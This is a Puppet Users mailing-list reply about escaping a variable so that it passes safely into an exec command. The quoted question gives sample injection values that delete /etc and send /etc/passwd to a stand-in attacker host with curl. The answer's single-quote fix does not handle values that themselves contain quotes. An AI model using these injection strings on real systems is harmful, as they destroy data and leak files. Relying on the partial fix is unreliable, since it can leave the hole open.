On Feb 14, 9:10 am, Peter Valdemar Mørch <pmo...@gmail.com> wrote: > If I have a "simple" variable value, this works fine: > > capmon@peter:~> puppet -e '$v="xyz" exec { f: command => "/bin/echo v > is $v", logoutput => true }' > notice: /Stage[main]//Exec[f]/returns: v is xyz > notice: /Stage[main]//Exec[f]/returns: executed successfully > > But how do I escape "bad" values of $v? Painful examples like the > following spring to mind: $v = ";rm -rf /etc" or $v=";curl -d > @/etc/passwdhttp://hackers-r-us.dk" ? > > I'd like to ensure that $v above will be seen as exactly one parameter > for the command, regardless of the value of $v.
It seems like this should do the trick: puppet -e '$v="xyz" exec { f: command => "/bin/echo v is \'$v\'", logoutput => true }' Note the single quotes around the interpolation of $v, which are the key. Because you put the whole manifest into a single-quoted shell string, the inner single quotes need to be escaped from the shell (as above); this would not be necessary if the manifest were read from a file. John -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to puppet-users+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-users?hl=en.